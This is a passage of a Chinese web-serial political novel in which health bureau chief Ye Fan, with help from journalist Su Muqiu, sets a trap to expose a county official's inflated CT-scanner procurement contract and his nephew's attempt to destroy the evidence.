电话那头,苏沐秋“噗嗤”一声笑了,笑声清脆悦耳:“谅你也不敢!你要是敢当烂好人,我第一个瞧不起你!对了,你说还有个‘老前辈’,谁啊?高明远?”
叶凡有些惊讶:“你连这个都知道?”
“拜托,我是记者诶!”苏沐秋的语气很是得意,“张海涛倒了,李建国一家独大,常委会里唯一能跟他掰掰手腕的,就剩下一个高明远了。他主管城建财政,是青川县的地头蛇,出了名的笑面虎。你那个监督小组,等于是在他嘴里夺食,他肯定要给你上眼药。怎么样,被他敲打了吧?”
叶凡不禁失笑:“苏大记者,我严重怀疑你在我办公室装了窃听器。”
“那倒没有。”苏沐秋压低了声音,带着一丝狡黠和暧昧,“不过,你要是需要一个‘战地记者’兼‘情报分析员’的话,我倒是可以考虑一下。价格嘛……好商量。”
“哦?怎么个商量法?”
“嗯……”苏沐秋拖长了语调,“你那顿海鲜大餐,我还没吃够呢。什么时候,再给我做一顿‘庆功宴’?”
“庆功?”叶凡明知故问,“庆什么功?”
“庆你,彻底告别过去。也庆我……又可以名正言顺地蹭饭了呀!”
她的声音在电话里,带着笑意,像羽毛一样,轻轻搔刮着叶凡的心。
窗外的天色已经完全暗了下来。
办公室的灯光映照着叶凡带笑的脸庞。
过去,已如烟云。
而未来,似乎正带着佳肴和美酒的香气,朝他走来。
“好,”他轻声说,“一言为定。”
第152章 电话问诊,引蛇出洞!
“开门接诊”的消息,像一颗深水**,在青川县这片看似平静的水塘里,炸出了漫天水花。
县政府的公告栏前,电视台的滚动新闻里,甚至连街头巷尾的闲聊中,那个新成立的“监督小组”和那个刺眼的举报电话,成了最热门的话题。
卫生系统内部,更是人心惶惶。
有人拍手称快,觉得积弊已久的脓疮终于有人敢来揭了;有人冷眼旁观,认定这不过是新官上任三把火,雷声大雨点小;更多的人则是惴惴不安,生怕这把火烧到自己身上。
监督小组的办公室里,两部崭新的电话机,从上班第一分钟起,就没停过。
“喂,监督小组吗?我要举报!我们卫生院的院长,把他小姨子安排在药房,初中都没毕业!”
“你好,城关医院食堂的肉都是臭的,院长的小舅子开的……”
“我举报!去年我们科室主任买了一台进口B超机,发票上是八十万,我听供应商说其实只要五十万!”
各种举报电话五花八门,泥沙俱下。
负责接电话的两名从卫生局抽调来的年轻干事,忙得焦头烂额,记录本换了一本又一本。
叶凡坐在自己的办公室里,门开着,能清楚地听到外面的电话铃声和压低了声音的交谈声。
他却像个没事人一样,不急不躁地翻看着一本《地方财政与预算管理》。
**说得对,他现在的手术台,是整个青川县。
他需要学习的东西,还有很多。
内线电话响了。
“小叶,来我办公室一趟。”是**。
叶凡放下书,走进斜对面的县长办公室。
**正站在窗边,手里夹着烟,神情看不出喜怒。
“怎么样?听着外面这动静,是不是有点焦头烂额了?”**吐出一口烟圈。
“还好,比我们医院急诊科夜班的时候要清静点。”叶凡实话实说。
**被他逗笑了,指了指沙发:“坐。高县长刚刚来过。”
叶凡挑了挑眉,没说话,等着下文。
“他没说别的,就跟我聊城南新区规划的事。说是有几个投资商对我们县最近的‘**环境’有些担忧,怕政策不稳定,影响投资信心。”**把烟头在烟灰缸里摁灭,“说来说去,还是那套‘稳定压倒一切’的老调子。”
“他是怕我这把火,烧了他的后院。”叶凡一针见血。
“你明白就好。”**坐回自己的大班椅上,“他这是在敲打我,也是在警告你。城南新区是市里都盯着的重点项目,要是出了岔子,你我都得吃不了兜着走。他这是在提醒你,别玩得太过火。”
“县长,我明白您的意思。”叶凡点点头,“您放心,我心里有数。我们开门接诊,既是听取**,也是一种姿态。真要动刀,肯定要找准病灶,一击致命,绝不会到处乱捅,把自己搞得一身血。”
“嗯。”**满意地看着他,“你小子,就是这点好,什么时候都清醒得很。行了,去忙吧。记住,动静可以大,但下刀一定要准。”
从县长办公室出来,叶凡回到自己办公室,关上了门。
他拿起桌上那几本厚厚的举报记录,一页一页地翻看起来。
大部分都是些鸡毛蒜皮的内部矛盾和捕风捉影的猜测,价值不大。
但当他翻到其中一页时,手指停住了。
举报内容很简单:县人民医院上个月新进了一台德国西门子的64排CT机,中标价为一千二百万。举报人称,他有亲戚在邻市的医院设备科工作,他们医院两个月前也进了一台同型号的机器,价格只有八百万。
举报人没有留姓名,电话也是一个不记名的公用电话。
但叶凡的眼睛亮了。
四百万的差价。
这不是普通的“回扣”,这是赤裸裸的鲸吞。
他拿出手机,没有犹豫,直接拨通了苏沐秋的电话。
“苏大记者,有空吗?有个独家猛料,想不想听?”
电话那头传来苏沐秋带着笑意的声音:“叶大局长亲自喂料,我就是爬也得爬过去啊。说吧,这次又准备把谁送进去?”
“八字还没一撇。”叶凡靠在椅子上,语气轻松,“我这儿刚接到一个举报,关于县人民医院新买的CT机,可能有猫腻。中标公司叫‘江城博瑞医疗器械有限公司’,你帮我查查这家公司的底细,越详细越好。”
“江城博瑞?”苏沐秋在那头重复了一遍,随即轻笑一声,“巧了,这家公司我好像还真听过。行,包在我身上。不过……查到了有什么好处?”
“老规矩,庆功宴。”
“又是庆功宴?”苏沐秋的语气里带着几分不满,“叶大局长,你这犒劳功臣的方式,也太没新意了吧?我辛辛苦苦给你当侦探,你就拿一顿饭打发我?”
“那……再加洗一个月车?”叶凡笑着调侃。
“想得美!”苏沐秋轻啐一口,随即压低声音,带着几分狡黠,“这样吧,庆功宴我照吃。但这次,地点我来定,酒,也得我来挑。怎么样?”
“没问题。”叶凡爽快地答应了。
“一言为定!”苏沐秋的声音听起来心情极好,“等我消息。”
挂了电话,叶凡嘴角的笑意还未散去,办公室的门被敲响了。
“请进。”
门推开,走进来的是常务副县长高明远,脸上挂着他那标志性的、和煦如春风的笑容。
“叶局长,没打扰你工作吧?”高明远笑呵呵地走进来。
“高县长,您快请坐。”叶凡立刻起身,又是泡茶又是让座,态度恭敬得体。
高明远摆摆手,在沙发上坐下,目光扫了一眼桌上那几本厚厚的举报记录本,笑道:“看来叶局长这几天是真忙啊。李县长这个‘开门接诊’,可是把我们卫生系统的所有人都架在火上烤喽。”
“高县长言重了。”叶凡将泡好的茶递过去,“我们也是想集思广益,有则改之,无则加勉嘛。主要还是想起到一个震慑作用,让那些想伸手
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的人,心里能多几分忌惮。”
“嗯,初衷是好的。”高明远端起茶杯,轻轻吹了吹,“不过啊,小叶,你年轻,有干劲,这是好事。但有些事情,不能只看表面。水至清则无鱼,这个道理,你懂吧?”
他呷了一口茶,慢悠悠地继续说:“就说这个药品器械采购,里面的门道多着呢。价格高一点,有时候也不完全是坏事。比如,能跟供应商搞好关系,关键时候,一些紧俏的救命药,人家能优先给你供货。再比如,逢年过节,人家赞助我们搞个业务培训,或者联欢活动,也能活跃气氛,增强队伍凝聚力嘛。这些,可都是账面上看不见的好处。”
叶凡静静地听着,心里冷笑。
这番话,真是把“贪腐”说得清新脱俗,充满了人情味。
“高县长您说得对,看问题确实要全面。”叶凡一脸受教的表情,“我刚接手,很多事情确实考虑不周。以后还请您多多指点。我们这个监督小组现阶段也主要是以宣传和震慑为主,不会轻易搞大动作,影响稳定大局的。一些历史遗留问题只要不是太过分,我们也会酌情处理。”
“这就对了嘛!”高明远脸上露出满意的笑容,仿佛一个循循善诱的长辈,终于看到了孺子可教,“小叶啊,你是个聪明人。我就喜欢跟聪明人打交道。你在卫生局这边放手干,有什么需要我支持的,尽管开口。城南新区那边,未来规划里可是有一家高规格的国际医院,到时候,少不了要你这个卫生局长多费心啊!”
他站起身,亲切地拍了拍叶凡的肩膀:“行了,不耽误你了,我就是过来看看。忙吧。”
送走高明远,叶凡脸上的恭敬笑容瞬间消失,取而代之的是一片冰冷的沉思。
高明远这只老狐狸,今天亲自登门,一拉一打,软硬兼施。
又是讲“水至清则无鱼”的潜规则,又是拿城南新区的国际医院项目当胡萝卜。
这恰恰说明,这些事情背后绝对有他的核心利益。
蛇,已经探出头来了。
就在这时,手机震动了一下,是苏沐秋发来的微信。
“鱼饵找到了。”
下面附着一张图片,是“江城博瑞医疗器械有限公司”的工商注册信息。
法人代表,叫王海。
紧接着,第二条信息发了过来。
“这个王海,还有另一重身份——江城宏发建筑工程公司的副总经理。而宏发建工,是承建我们青川县大部分政府工程和房地产项目的龙头企业。你猜猜,它的董事长,是谁的亲外甥?”
叶凡的瞳孔猛地一缩。
他不需要猜。
整个青川县谁不知道,城建和财政,都是谁的地盘。
他回了两个字:“漂亮。”
苏沐秋很快回复了一个得意的表情,附言道:“庆功宴,我可是要订最贵的那家法式餐厅,你可别心疼。”
叶凡笑了,回道:“没问题。不过可能要稍微等两天。等我把这条大鱼,从水里彻底拖上岸。”
第153章 将计就计,请君入瓮!
夜色如墨,叶凡的办公室里只亮着一盏台灯。
光晕下,苏沐秋发来的那张工商注册信息截图,像一张结构精密的人体脉络图,清晰地展示了病灶的所在。
江城博瑞医疗器械,江城宏发建筑工程。
王海,高明远的外甥。
一条看似毫不相干的线索,通过一个关键人物,精准地连接到了青川县的两位实权人物——卫生局长叶凡和常务副县长高明远。
这不再是简单的商业贿赂,这是一张盘根错错节,以权力为核心,横跨医疗和城建两大领域的利益之网。
叶凡靠在椅背上,手指在桌面上无意识地轻轻敲击着,发出沉闷的“笃笃”声。
直接拿着这份证据去找高明远摊牌?那是莽夫所为。
高明远这种老狐狸,有一万种方法可以把自己摘得干干净净,甚至反咬一口,说你叶凡是挟私报复,破坏营商环境。
他需要的不是证据,而是一个让高明远自己跳出来的机会。
一个让他自乱阵脚,主动露出破绽的局。
他拿起电话,拨通了监督小组办公室的内线。
“小王,小李,把所有举报材料,特别是涉及县人民医院和县中医院设备采购的,全部拿到我办公室来。”
几分钟后,两个年轻干事抱着一大摞文件,气喘吁吁地跑了进来,脸上带着几分被委以重任的激动和紧张。
叶凡让他们把文件放在桌上,然后不紧不慢地当着他们的面,一页一页地翻阅起来。
他看得极其仔细,时不时用红笔在上面画个圈,或者在旁边写下一句批注。
办公室里安静得只剩下纸张翻动的沙沙声。
两个年轻干事站在一旁,大气都不敢出。
他们看着新任局长年轻却沉稳的侧脸,心里充满了敬畏。
这位叶局长,年纪轻轻,却用雷霆手段扳倒了不可一世的县委**张海涛,如今又摆开这么大阵仗,显然是要对医疗系统动大手术了。
终于,叶凡的动作停在了其中一份举报材料上。
他抬起头,看着两人,表情严肃:“县中医院去年年底采购了一批理疗设备,供应商也是江城博瑞,**说设备以次充好,价格虚高了百分之三十。这件事,你们怎么看?”
小王愣了一下,下意识地看了一眼桌上那份更惊人的,关于县人民医院CT机的举报材料,有些不解。
那台CT机可是差了四百万,这批理疗设备总价都不到一百万,虚高的部分也就二、三十万,跟CT机比起来,简直是九牛一毛。
“叶局长,我觉得……我们是不是应该先从问题最大,金额最高的查起?比如县人民医院那台……”
“糊涂!”叶凡打断了他,声音不大,却带着不容置疑的威严,“办案子,是挑肥拣瘦吗?我们监督小组的原则是什么?是有案必查,有腐必反!金额大小,不是我们判断优先级的标准!”
他站起身,在办公室里踱了两步,语气缓和了一些,像是在教导后辈。
“你们想,人民医院那台CT机,一千多万的设备,采购流程必然是走了县里的**会,手续上无懈可击。我们一头扎进去,对方早就做好了万全准备,最后只会碰一鼻子灰。相反,中医院这批理便疗设备,金额不大,流程上肯定有漏洞。我们就从这里下手,先撕开一道小口子!”
叶凡的手指在桌上重重一点。
“这就叫‘敲山震虎’。先把动静搞起来,让所有人都知道,我们监督小组不是摆设,是真的会查人、会办事的!把这只‘鸡’杀了,那些‘猴’自然就不敢乱动了。”
两个年轻干事听得连连点头,恍然大悟,看向叶凡的眼神里,崇拜之情又多了几分。
“我明白了,叶局长!您这是高瞻远瞩!”
“那我们现在就去中医院调查?”
“不急。”叶凡摆摆手,重新坐下,“你们两个,明天一早,以监督小组的名义,给县中医院和江城博瑞公司,同时发一份函。就说我们收到了关于理疗设备采购问题的举报,要求他们在一周之内,提供当时采购的所有合同、票据、以及招投标的全部流程文件,送来监督小组备查。”
他顿了顿,嘴角勾起一抹意味深长的笑。
“记住,发函的动静,要大一点。最好,让不相干的人,也知道这件事。”
两个年轻人心领神会,重重地点了点头。
……
县长办公室。
**听完叶凡的汇报,把玩着手里的紫砂壶,半天没说话。
直到茶香袅袅升起,他才嘿嘿一笑:“你小子,心眼儿比马蜂窝还多。明着是查中医院,实际上是把鱼饵扔到了高明远的嘴边,就看他咬不咬钩了。”
“我只是觉得,与其我们费尽心思去找证据,不如创造一个机会,让证据自己跳出来。”叶凡说得云淡风轻。
“嗯。”**呷了口茶,眼神里满是欣赏,“你这个思路是对的。高明远这个人在青川经营多年,根深蒂固,就像一棵老树,根须遍布地下。你想直接把他刨出来,不可能。只能像个老道的伐木工,先在他周围,一斧子一斧子地敲,让他自己感觉到疼,感觉到危险,他才会慌,一慌,就会出错。”
他放下茶杯,看着叶凡:“不过,你也要小心。这条鱼,不仅滑,而且有毒。他要是真急了,可是会反咬人的。城南新区的项目,市里催得紧,这可是他手里最大的牌。”
“我明白,县长。所以我这把斧子,只砍树皮,不伤树干。目的不是砍倒他,是让他把藏在树洞里的东西,自己交出来。”
“好!”**一拍大腿,“放手去干!需要人手,需要支持,随时跟我开口!我倒要看看,他高明远这次,怎么接你这招‘敲山震虎’!”
从县长办公室出来,叶凡的心情一片澄明。
他回到自己的办公室,关上门,鬼使神差地拿起了手机,拨通了苏沐秋的号码。
电话响了一声就被接起,苏沐秋带着笑意的声音传了过来:“怎么,叶大局长,这么快就要请我吃庆功宴了?鱼上钩了?”
“鱼还在水里看着饵料,犹豫不决。”叶凡也笑了,他靠在椅子上,整个人都放松下来,“不过,我感觉水面已经开始冒泡了。”
“哦?那你打电话给我,是想让我这个‘战地记者’,提前找好机位,准备拍摄你英勇钓鱼的身姿?”苏沐秋的语气里满是调侃。
“差不多吧。”叶凡看着窗外的夜色,“主要是怕鱼太大,我的鱼竿不够结实,万一脱了钩,还得请你这位王牌记
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者,用**的网,再帮我把它捞回来。”
电话那头沉默了片刻,随即传来苏沐秋一声轻笑,那笑声里似乎带着一丝别样的意味。
“叶凡,我发现你现在越来越会说话了。以前那个闷葫芦,现在都会给我下套了。”
“有吗?”
“有。”苏沐秋的语气肯定,“你这通电话,表面上是通报情况,实际上是在告诉我,好戏要开场了,让我准备好。对不对?”
叶凡没有否认。
苏沐秋继续说道:“行,既然你都把‘御用’两个字写在脸上了,我这个‘杀器’自然要随时待命。不过,我的出场费,可不能再用一顿饭打发了。”
“那苏大记者想要什么?”
“嗯……”苏沐秋拖长了语调,像是在认真思考,“那家法式餐厅,我订好位置了。等你把鱼钓上来那天,除了吃饭,你……你得陪我看一场电影。”
这个要求,让叶凡微微一怔。
吃饭,可以是工作,是庆功。
但看电影,这个词的背后,似乎藏着一些不一样的情愫。
“怎么?不敢啊?”苏沐秋的声音里带着一丝不易察觉的紧张和挑衅,“怕被我这个‘杀器’在电影院里给‘咔嚓’了?”
叶凡失笑出声,胸中涌起一股暖流。
“好,”他轻声说,声音里带着自己都未曾察觉的温柔,“一言为定。”
挂了电话,办公室里又恢复了安静。
但叶凡知道,有些东西,已经不一样了。
第二天一早,两份盖着“青川县医疗系统统一采购与招标监督小组”鲜红印章的公函,被专人送往了县中医院和江城博瑞公司。
消息像长了翅膀,不到半天,就在县城的各个角落里传开了。
常务副县长办公室里,高明远正端着一杯上好的龙井,听着秘书的汇报。
“听说叶凡在办公室里发了很大的火,说要拿中医院开刀,杀鸡儆猴。现在卫生系统里都传遍了,说这个叶局长就是个愣头青,抓着鸡毛当令箭。”
高明远吹了吹杯中的茶叶,脸上露出一丝不屑的冷笑。
年轻人,终究是年轻人。
有点权力就不知道天高地厚,以为扳倒一个张海涛,就能在青川县横着走了。
查中医院那点破事?就算查出花来,又能怎么样?不过是几十万的事,不痛不痒。
看来,自己昨天那番敲打,还是起了作用。
他不敢动人民医院那边,说明他心里有数,知道什么人能惹,什么人不能惹。
“让他查。”高明远呷了口茶,慢悠悠地吩咐道,“告诉中医院那边,全力配合。身正不怕影子斜,我们青川县的干部,经得起任何调查。”
他放下茶杯,眼神里闪过一丝算计。
等叶凡在这件小事上折腾得筋疲力尽,最后却查不出什么名堂,监督小组的威信自然也就扫地了。
到时候,自己再以“影响干部队伍稳定”为由,向**提议,把这个劳民伤财的监督小组撤掉,也就顺理成章了。
他以为自己看穿了叶凡的全部伎俩。
却不知道那只被他当成“鸡”的中医院,不过是叶凡故意扔在陷阱边上的一块肉。
而他这条自以为聪明的大鱼已经不知不觉地游到了陷阱的正上方。
第154章 声东击西,愿者上钩!
监督小组的调查,雷声大,雨点小。
两名年轻干事被派驻到了县中医院,在院方专门腾出来的一间会议室里,慢条斯理地核对着一沓沓的采购单据。
中医院从院长到普通职工,态度好得令人发指,端茶送水,有问必答,积极配合到了近乎谄媚的程度。
然而,三天过去,除了几张报销流程不太规范的发票,什么实质性的问题都没查出来。
消息很快传遍了县委县政府大院。
“我就说嘛,新官上任三把火,烧完就没了。”
“那个叶局长还是太年轻,以为扳倒个张海涛就天下无敌了。高县长是那么好惹的?人家在青川县扎根多少年了。”
“听说了吗?城南新区那边,好几个投资商都打了退堂鼓,说我们县现在搞运动,营商环境不稳定。李县长都快愁白头了。”
风言风语,像初春的柳絮,飘得到处都是。
所有人都觉得,叶凡这记重拳,最终还是打在了棉花上。
常务副县长办公室里,高明远正悠闲地用小镊子,伺候着一盆名贵的君子兰。
秘书在一旁低声汇报着监督小组的“窘境”,言语间不乏幸灾乐祸。
“中医院那边滴水不漏,什么都查不出来。卫生局那两个小干事,现在天天待在会议室里喝茶看报纸,都快成门神了。高县长,您看,叶凡这小子是不是黔驴技穷了?”
高明远头也没抬,专注地擦拭着一片肥厚的叶片,慢悠悠地开口:“年轻人嘛,有锐气是好事,但做事只凭一腔热血,不懂得迂回和妥协,迟早要撞南墙。”
他放下镊子,端起茶杯,吹了吹浮沫:“他以为随便抓个由头,就能撬动整个医疗系统?天真。他这是在跟整个规则作对。”
“那我们……”
“不用管他。”高明远摆摆手,脸上是一种智珠在握的淡然,“让他折腾。等他自己折腾累了,碰壁了,**自然会觉得他是个麻烦。到时候,不用我们出手,这个监督小组自己就名存实亡了。”
他呷了口茶,又补充了一句:“不过,也得给他点压力。城南新区那个国际医院的项目,你给宏发建工的王总提个醒,就说最近县里风声紧,让他把前期的准备工作,放缓一点。李县长问起来,就说投资方对我们县的政策持续性,有疑虑。”
“高,还是您高!”秘书心领神会,连忙奉上一个马屁。
高明远笑了笑,没说话。
他转过头,看着窗外,眼神里透着一丝轻蔑。
在他看来,叶凡不过是一个运气好,被**当枪使的愣头青。
这场博弈,从一开始,就不在一个量级上。
……
县长办公室里,气氛有些凝重。
**狠狠地吸了一口烟,将烟头摁进烟灰缸里,眉头拧成了一个疙瘩。
“城南新区的投资商今天上午给我打了个电话,旁敲侧击地问我们县里是不是有什么大的政策变动。高明远这一招釜底抽薪,玩得够狠啊!”**有些烦躁,“小叶,你那边到底什么情况?再这么查下去,什么都查不到,我们可就真被动了。”
叶凡坐在他对面,神情平静地削着一个苹果,果皮在他手里连成一条不断的长线。
“县长,别急。”他把削好的苹果递给李建告,“鱼要是那么容易就上钩,那就不叫老狐狸了。”
“你小子,都火烧眉毛了,还有心思在这削苹果!”**没好气地接过苹果,狠狠咬了一口。
“高明远越是这么做,就越说明他心虚。”叶凡笑了笑,将果皮扔进垃圾桶,“他以为我在第一层,实际上,他连我在第几层都不知道。”
他站起身,走到**办公桌前:“县长,我需要您帮我签个字。”
**凑过去一看,是一份“关于扩大监督小组调查范围的申请”。
申请内容很简单:因县中医院采购案的供应商“江城博瑞医疗器械有限公司”,同时也是县内多家医院的主要供应商,为保证调查的全面性和公正性,申请调阅该公司与青川县所有医疗单位签订的全部采购合同及相关账目。
**愣住了。
他猛地抬头看着叶凡,眼睛里闪动着光芒:“你小子……你从一开始的目标,就不是中医院,而是这家公司?”
“中医院是块敲门砖。”叶凡的眼神里闪过一丝锋利的寒光,“我要的是堂堂正正地走进江城博瑞的保险柜,看看里面到底藏着些什么。”
“高!实在是高!”**一拍大腿,之前的烦躁一扫而空,拿起笔,龙飞凤舞地签下了自己的名字,“我倒要看看,高明远这只老狐狸,这次还怎么坐得住!”
……
江城,一家高档会所的包厢里。
王海正左拥右抱,跟几个酒肉朋友打着牌,桌上的筹码堆成了小山。
他今天手气不错,赢了不少,正得意地哼着小曲。
手机不合时宜地响了起来。
他看了一眼来电显示,是公司法务的电话,不耐烦地划开接听键:“什么事?没看我正忙着吗?天大的事也等我打完这圈再说!”
“王总!出大事了!”电话那头的声音带着哭腔,“青川县那个监督小组刚刚给我们发了函,要……要查我们公司跟青川县所有医院的往来账目!指明了要看所有合同原件!”
“什么!”王海手里的麻将“哗啦”一声掉在桌上,酒意瞬间醒了一半。
查中医院那点事,他根本没放在心上,早就跟舅舅高明远通过气,不过是走个过场。
可现在,对方竟然要查所有账目?
那台CT机的合同……那可是颗**!
“慌什么!”王海对着电话低吼了一句,强作镇定,“不就是查账吗?让他们查!我们是正规公司,手续齐全,怕他们?”
挂了电话,他再也坐不住了,抓起外套,对牌桌上的朋友说了句“有点急事”,便匆匆离开了包厢。
坐进自己的奔驰车里,他点上一根烟,手却抖得厉害。
那个姓叶的,到底想干什么?
他怎么会突然把矛头对准了公司?难道他知道了什么?
不行,这件事必须马上告诉舅舅。
他拨通了高明远的私人电话。
电话响了很久才被接起,高明远的声音一如既往地沉稳:“小海,什么事这么慌张?”
“舅舅!出事了!”王海的声音都在发颤,“那个姓叶的疯了!他要查我们公司所有的账!人民医院那台CT机的合同,怎么办啊?”
电话那头,陷入了长久的沉默。
王海甚至能听到高明远愈发沉重的呼
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吸声。
过了足足半分钟,高明远的声音才再次响起,但那份沉稳已经荡然无存,透着一股压抑不住的惊怒和阴冷。
“他怎么敢!”
“舅舅,我现在该怎么办?真让他们查吗?那份阴阳合同要是被翻出来,我们就全完了!”
“慌什么!”高明远厉声喝道,“天塌不下来!”
他深吸了一口气,大脑飞速运转。
叶凡……声东击西!好一招声东击西!自己竟然被一个毛头小子给耍了!
他小看了这个医生。
这个年轻人根本不是愣头青,他是一条潜伏在暗处的毒蛇,不出则已,一出致命!
现在再想通过官方渠道阻止,已经来不及了,**肯定签了字。
唯一的办法,就是让那份合同,永远消失。
“你听着,”高明远的声音压得极低,像淬了冰,“那份合同绝对不能落到他们手里。你找个绝对可靠的人,去公司把那份合同的原始档案……处理掉。记住,手脚要干净,不能留下任何痕迹。”
“处理掉?”王海愣了一下,“舅舅,那可是……销毁证据啊!”
“不然呢?”高明远的声音里透着一股狠戾,“等他们拿着证据来抓人吗?你放心,只要没了原始合同,他们就算查出天来,也只是孤证,奈何不了我们。快去办!”
挂了电话,高明远无力地靠在椅背上,额头上渗出了一层细密的冷汗。
他第一次,感觉到了失控。
……
夜,已经深了。
叶凡的办公室里,灯还亮着。
他没有看文件,也没有打电话,只是静静地坐在那里,像一个耐心的猎人,等待着猎物踏入陷阱的最后一步。
手机屏幕亮了一下,是苏沐秋发来的微信。
“鱼儿咬钩了吗,叶大渔夫?”
叶凡笑了笑,修长的手指在屏幕上敲击。
“还没,不过我听到了水里有扑腾的声音,估计是快憋不住了。”
信息发出去,苏沐秋的电话立刻就打了过来,声音里带着压抑不住的兴奋:“你那边有动静了?”
“快了。”叶凡靠在椅子上,看着窗外的万家灯火,“我猜,今晚会有人睡不着觉,可能会去做点噩梦。”
“切,故弄玄虚。”苏沐秋轻哼一声,语气却软了下来,“那你呢?你还不下班?一个人在办公室当孤魂野鬼啊?”
“等你这边的好消息。”
“我的好消息?”苏沐秋愣了一下。
“你不是在江城博瑞公司附近吗?”叶凡的声音里带着一丝笑意,“我猜,很快就会有条大鱼,忍不住要跳出水面了。”
电话那头,苏沐秋沉默了几秒,随即传来她压低了声音的惊呼:“叶凡,你……你连这个都算到了?!”
就在这时,叶凡办公室的门被轻轻敲响。
“请进。”
走进来的是监督小组的小王,他神情激动,手里拿着一个录音笔,声音都在发抖。
“叶局长!我们安插在江城博瑞的内线刚刚传来消息!王海……王海让他最信任的财务总监连夜回公司,说是要销毁一份重要的‘过期合同’!”
叶凡的眼睛在灯光下,亮得惊人。
他对着电话那头的苏沐秋,轻声说了一句:“苏记者,收网了。”
第155章 瓮中捉鳖,人赃并获!
电话挂断,叶凡对着听筒里传来的忙音,脸上那丝温柔的笑意还未散去。
他抬起头,看向面前神情激动的小王,刚才的温存瞬间被冷静和锐利所取代。
“人,什么时候到?”
“内线说,财务总监已经从家里出发了,最多二十分钟就能到公司。”小王压低声音,手里的录音笔攥得紧紧的。
“好。”叶凡站起身,拿起外套,“通知县纪委的同志,可以准备收网了。记住,务必人赃并获。”
“明白!”小王重重点头,转身快步离去,背影里满是即将见证一场风暴的亢奋。
叶凡没有跟着去现场。
他是布局者,不是执行者。
一个合格的外科医生在切除肿瘤时,最重要的是保证手术方案的精准,而不是亲自去感受刀锋的快感。
他走到窗边,拨通了**的电话。
“县长,鱼,咬钩了。”
电话那头,**沉默了片刻,随即传来一声长长的吐气声,带着如释重负的畅快:“好!好!好!你小子,干得漂亮!我这就去县里坐镇,等着高县长的大驾光临。”
……
江城博瑞公司所在的写字楼下,一辆不起眼的黑色大众轿车里,苏沐秋将相机的长焦镜头调整到最佳参数,稳稳地对准了公司大门。
车窗只摇下了一道细缝,初冬的冷风灌进来,让她忍不住打了个哆嗦。
她搓了搓有些冰凉的手,心里却是一片火热。
她当记者这么多年,参与过不少突发事件的报道,但没有哪一次像今晚这样,让她感觉自己不是一个旁观者,而是一个参与者,甚至是一个关键的布局者。
这种感觉,很奇妙,也很刺激!
这一切,都源于那个叫叶凡的男人。
他就像一个技艺最高超的棋手,看似随手落子,却早已算好了后面十几步的棋路,将对手的每一步反应都纳入了自己的算计之中。
“来了!”苏沐秋的耳机里传来一个低沉的声音,是县纪委的便衣。
她立刻打起精神,只见一辆白色的宝马X5在写字楼门口停下,一个戴着金丝眼镜,看起来斯斯文文的中年男人,提着公文包,行色匆匆地从车上下来。
他就是江城博瑞的财务总监,周全。
周全显然有些心神不宁,他一边快步走向大门,一边警惕地四下张望。
深夜的写字楼空无一人,只有他自己的脚步声在回响。
苏沐秋屏住呼吸,手指搭在快门上。
就在周全刷卡进入大门的瞬间,几条黑影从黑暗中猛地窜出,如同猎豹扑食,一左一右将他死死按住。
“你们是什么人?干什么!”周全吓得魂飞魄散,公文包掉在地上,发出一声闷响。
“县纪委,执行公务。”为首的干部亮出证件,声音冷得像冰,“周总,跟我们走一趟吧。”
苏沐秋的快门声在寂静的夜里,清脆地响起,将周全那张瞬间煞白、写满惊恐与绝望的脸,永远地定格了下来。
几乎是同一时间,另一队人马已经冲进了十五楼的财务室。
在周全的办公桌抽屉深处,找到了那份被标记为“作废”的,关于青川县人民医院CT机的采购合同。
一份是台面上的,一千二百万。
一份是真实的,八百万。
黑纸白字,铁证如山。
……
县政府大楼,县长办公室灯火通明。
高明远赶到的时候,看到的就是这样一副场景。
**坐在主位上,面无表情地喝着茶。
叶凡则站在一旁,手里拿着一份文件,神情淡然。
办公室里,还坐着一个不苟言笑的中年男人,是县纪委的孙**。
高明远心里“咯噔”一下,一股强烈的不安涌上心头,但他面上依旧保持着镇定。
“李县长,孙**,这么晚了叫我过来,是出了什么大事吗?”他笑着打招呼,仿佛只是来参加一个普通的夜间会议。
**放下茶杯,抬眼看他,眼神里没有一丝温度:“老高,坐吧。是出了点事,跟你有点关系。”
高明远在沙发上坐下,腰杆挺得笔直:“哦?跟我有什么关系?”
叶凡走了过来,将一份文件轻轻放在他面前的茶几上。
“高县长,这是我们监督小组刚刚拿到的一份合同,想请您过过目。”
高明远低头一看,瞳孔猛地收缩。
那份“阴阳合同”的复印件,像一条毒蛇,狠狠地咬住了他的眼睛。
“这……这是什么?”他强作镇定,声音却不受控制地有些发干,“伪造的吧?叶凡同志,你这是什么意思?用这种东西来陷害我?”
“陷害?”叶凡笑了,“高县长,这可不是伪造的。原件,现在就在纪委孙**手里。提供这份合同的人,江城博瑞的财务总监周全,也正在纪委的办公室里,喝茶呢。”
高明远脸上的血色“唰”地一下全退了。
他猛地站起来,指着叶凡,厉声喝道:“李县长,你看看!这就是你提拔的好干部!为了打击异己,无所不用其极!这是栽赃!是陷害!我要求组织上严查!”
“老高,你先别激动。”**慢悠悠地开了口,声音不大,却带着千钧之力,“没人说这事跟你有关。我们只是发现,江城博瑞的法人代表王海好像是你的外甥。所以,本着对同志负责的态度,想请你来核实一下情况。”
这番话说得滴水不漏,却像一把软刀子,捅进了高明远的心窝。
高明远喘着粗气,大脑飞速运转。
他知道今晚他已经掉进了对方精心布置的陷阱里。
声东击西,敲山震虎……原来,这一切都是冲着他来的!
他不能慌,绝对不能慌。
“王海是我外甥没错!”他索性承认,试图断尾求生,“但他做生意,我从来不插手!他要是真干了违法乱纪的事,我第一个支持组织上严惩他!绝不姑息!但是,想把这盆脏水泼到我高明远的头上,没那么容易!”
他摆出一副大义灭亲、刚正不阿的姿态,试图将自己和王海彻底切割开。
“高县长,觉悟很高嘛。”叶凡不咸不淡地夸了一句,随即话锋一转,“不过,我们还查到一点有意思的东西。过去五年,宏发建工,也就是王海父亲的公司,承建了城南新区百分之七十以上的政府工程项目。而这些项目的总负责人,好像一直都是您。”
如果说刚才的合同是**,那这句话,就是一柄重锤,狠狠地砸在了高明远的胸口。
他踉跄了一下,扶住沙发才站稳,脸色惨白如纸。
叶凡上前一步,目光平静地看着他:“高县长,我以前是个医生。我知道,有些病灶,看起来长在肢体上,但病根,其实在身体内部。不把病根挖出来
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,光是截肢,是没有用的,它迟早还会复发,甚至扩散。”
“你……你……”高明远指着叶凡,嘴唇哆嗦着,一个字也说不出来。
纪委的孙**站了起来,走到他面前,面无表情地开口:“高明远同志,根据我们目前掌握的证据,你涉嫌严重违纪违法。请你跟我们走一趟,配合组织调查。”
高明远浑身的力气仿佛被瞬间抽空,颓然地瘫坐在沙发上。
他知道,一切都完了。
